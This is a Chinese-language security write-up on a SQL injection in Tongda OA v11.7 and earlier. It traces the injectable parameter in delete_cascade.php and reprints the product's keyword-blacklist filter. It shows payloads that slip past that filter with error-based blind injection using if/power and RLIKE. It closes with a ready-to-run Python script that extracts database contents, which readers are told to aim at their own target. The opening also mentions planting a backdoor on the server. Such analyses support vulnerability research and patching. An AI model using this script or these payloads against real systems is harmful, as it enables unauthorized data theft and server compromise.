漏洞描述
通达OA v11.7后台存在SQL注入,可通过此漏洞写入恶意后门文件攻击目标服务器。
漏洞影响
通达OA <= v11.7
漏洞分析
下载通达oa 11.7,https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe
这里我觉得麻烦就用11.5分析了,大致都差不多的,最多多了几个过滤。
使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密 
漏洞位置:/general/hr/manage/query/delete_cascade.php 如果$condition_cascade 不为空就把里面的\' 替换为' ,然后执行。
原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes 函数进行保护。
具体代码在inc/common.inc.php 中,接收了我们的输入$_GET ,然后将值$s_value 进行了addslashes 处理

addslashes()作用 
我们再来看看是怎么执行SQL语句的,在delete_cascade.php 中,使用的是exequery() 函数。而inc/conn.php 文件中是对SQL语句的各种处理函数。 我们跟踪exequery() 函数,可以在inc/conn.php 中找到定义,可以发现这里又调用了db_query() 函数。
 我们继续跟踪db_query() 函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection() 函数进行了过滤。 sql_injection()函数如下所示。
function sql_injection($db_string)
{
$clean = "";
$error = "";
$old_pos = 0;
$pos = -1;
$db_string = str_replace(" ", " ", $db_string);
while (true) {
$pos = strpos($db_string, "'", $pos + 1);
if ($pos === false) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true) {
$pos1 = strpos($db_string, "'", $pos + 1);
$pos2 = strpos($db_string, "\\", $pos + 1);
if ($pos1 === false) {
break;
}
else {
if (($pos2 == false) || ($pos1 < $pos2)) {
$pos = $pos1;
break;
}
}
$pos = $pos2 + 1;
}
$clean .= "\$s\$";
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));
$fail = false;
if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("联合查询");
}
else {
if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
$fail = true;
$error = _("注释代码");
}
else {
if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "sleep";
}
else {
if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "benchmark";
}
else {
if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("Load文件");
}
else {
if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "cast";
}
else {
if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "ord";
}
else {
if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "ascii";
}
else {
if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "extractvalue";
}
else {
if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "updatexml";
}
else {
if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("生成文件");
}
else {
if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("exp");
}
else {
if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {
$fail = true;
$error = "set file_priv";
}
}
}
}
}
}
}
}
}
}
}
}
}
if ($fail) {
echo _("不安全的SQL语句:") . $error . "<br />";
echo td_htmlspecialchars($db_string);
exit();
}
else {
return $db_string;
}
}
过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substr 、if 等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。
这里可以使用if来进行报错注入,这里还知道了power(9999,99) 也能报错,当字符相等时,不报错,错误时报错。
select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))
也可以用rlike报错注入
select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))
如下所示,1=1返回成功,1=2则报错,说明存在盲注   老规矩,直接用脚本来进行注入
import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):
high = 132
low = 32
mid = (high+low)
while high > low:
char = flag+chr(mid)
headers = {
"cookie": urllib.parse.unquote(cookies)
}
target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \
"0x28 END))".format(sql, i, hex(mid))
s = requests.get(url=target, headers=headers)
if '信息删除成功' in s.text:
low = mid+1
else:
high = mid
mid = (high+low)
if mid == 33 or mid ==132:
exit(0)
flag += chr(mid-1)
print("[+] "+flag)
修改一下脚本中的url、cookie、和要执行的SQL语句即可 
|